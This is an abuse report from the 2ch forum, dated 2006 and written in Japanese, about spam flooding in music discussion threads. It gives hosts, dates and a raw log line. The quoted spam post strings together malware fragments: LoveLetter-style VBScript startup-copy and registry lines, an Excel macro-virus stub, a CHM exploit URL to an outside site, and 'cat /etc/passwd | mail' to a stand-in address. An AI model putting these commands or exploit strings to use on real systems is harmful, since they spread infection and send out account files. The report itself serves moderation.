>>95 szoknt\d+.ap.so-net.ne.jp 規制まとめ
○荒らし報告 >>4 >>6-14 >>16-23 >>27-44 >>48-51
○ログ開示  >>53-92 host集計>>94
○規制     >>95 szoknt\d+.ap.so-net.ne.jp 規制
○報告対象板    邦楽(ソロ女)@2ch掲示板 http://music5.2ch.net/musicjf/
○報告対象スレッド K(ケイ) 〜a voice from the heaven...〜 part3
             http://music5.2ch.net/test/read.cgi/musicjm/1159628656/
             山本サヤカ(dream)について語るやよ( ・ω・)
             http://music5.2ch.net/test/read.cgi/musicjf/1162303498/
             他多数、詳細は>>4 >>6-14 >>16-23 >>27-44 >>48-51
○発生日時      2006/10/01(日) 00:05:54 〜 2006/10/31(火) 23:11:06
○リモートホスト    p57b3b3.szoknt01.ap.so-net.ne.jp 他、詳細は>>53-92 参照
○荒らしの内容と特徴 無意味な文字列のコピペ・連続投稿
○書き込み内容の一部転載
http://music5.2ch.net/test/read.cgi/musicjm/1159628656/2
>2 :NO MUSIC NO NAME:2006/10/01(日) 00:05:54 ID:5gTEgqcL
> kak.hta';ken=wd+'START
> cat /etc/passwd | mail nobody@nonexistent.com
>
> <body onload=window()>
> If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
> Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
> fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
> c.Copy(dirsystem&"\MSKernel32.vbs")
> c.Copy(dirwin&"\Win32DLL.vbs")
> c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
> <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"; type="text/
> X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
> fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
> If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
> ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
> G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
> lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
> ms-its:mhtml:file://c:\
> kak.hta';ken=wd+'START
> kill -9 xz/tSaBh0
> Sub auto_open()
> Application.OnSheetActivate = "check_files"
> End Sub
> Sub check_files()
> c$ = Application.StartupPath
> m$ = Dir(c$ & "\" & "PERSONAL.XLS")
> If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
> If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
> whichfile = p + w * 10
> End Sub
> ??&31847;

○該当部分のログ
NO MUSIC NO NAME<>sage<>2006/10/01(日) 00:05:54 5gTEgqcL<>kak.hta';ken=wd+'START <br> ca<><>p57b2bd.szoknt01.ap.so-net.ne.jp<>58.87.178.189<><>Monazilla/1.00 (JaneStyle/2.41)